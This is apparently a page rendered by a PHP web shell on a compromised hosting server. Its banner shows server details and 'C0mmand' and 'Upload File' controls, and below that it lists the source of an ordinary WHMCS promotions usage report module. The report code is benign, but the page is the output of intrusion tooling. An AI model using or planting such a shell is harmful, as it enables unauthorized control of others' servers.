Server IP : 213.176.29.180 / Your IP : 3.133.148.130 Web Server : Apache System : Linux 213.176.29.180.hostiran.name 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64 User : webtaragh ( 1001) PHP Version : 7.4.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /home/webtaragh/public_html/whmcs/modules/reports/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
<?php use WHMCS\Carbon; use WHMCS\Database\Capsule; if (!defined("WHMCS")) { die("This file cannot be accessed directly"); } $reportdata["title"] = "Promotions Usage Report"; $reportdata["description"] = "This report shows usage statistics for each promotional code."; $range = App::getFromRequest('range'); if (!$range) { $today = Carbon::today()->endOfDay(); $lastWeek = Carbon::today()->subDays(6)->startOfDay(); $range = $lastWeek->toAdminDateFormat() . ' - ' . $today->toAdminDateFormat(); } $reportdata['headertext'] = ''; if (!$print) { $reportdata["headertext"] = <<<EOF <form method="post" action="reports.php?report={$report}"> <div class="report-filters-wrapper"> <div class="inner-container"> <h3>Filters</h3> <div class="row"> <div class="col-md-3 col-sm-6"> <div class="form-group"> <label for="inputFilterDate">{$dateRangeText}</label> <div class="form-group date-picker-prepend-icon"> <label for="inputFilterDate" class="field-icon"> <i class="fal fa-calendar-alt"></i> </label> <input id="inputFilterDate" type="text" name="range" value="{$range}" class="form-control date-picker-search" placeholder="{$optionalText}" /> </div> </div> </div> </div> <button type="submit" class="btn btn-primary"> {$aInt->lang('global', 'apply')} </button> </div> </div> </form> EOF; } $reportdata["tableheadings"] = [ "Coupon Code", "Discount Type", "Value", "Recurring", "Notes", "Usage Count", "Total Revenue", ]; $i = 0; $dateRange = Carbon::parseDateRangeValue($range); $datefrom = $dateRange['from']->toDateTimeString(); $dateto = $dateRange['to']->toDateTimeString(); $results = Capsule::table('tblpromotions') ->orderBy('code', 'asc') ->get() ->all(); foreach ($results as $result) { $code = $result->code; $type = $result->type; $value = $result->value; $recurring = $result->recurring; $notes = $result->notes; $rowcount = $rowtotal = 0; $reportdata["drilldown"][$i]["tableheadings"] = [ "Order ID", "Order Date", "Order Number", "Order Total", "Order Status", ]; $orders = Capsule::table('tblorders') ->where('promocode', '=', $code) ->whereBetween('date', [$datefrom, $dateto]) ->orderBy('id', 'asc') ->get() ->all(); foreach ($orders as $order) { $orderid = $order->id; $ordernum = $order->ordernum; $orderdate = $order->date; $ordertotal = $order->amount; $orderstatus = $order->status; $rowcount++; $rowtotal += $ordertotal; $reportdata["drilldown"][$i]["tablevalues"][] = [ "<a href=\"orders.php?action=view&id={$orderid}\">{$orderid}</a>", fromMySQLDate($orderdate), $ordernum, $ordertotal, $orderstatus, ]; } $reportdata["tablevalues"][$i] = [ $code, $type, $value, $recurring, $notes, $rowcount, format_as_currency($rowtotal), ]; $i++; }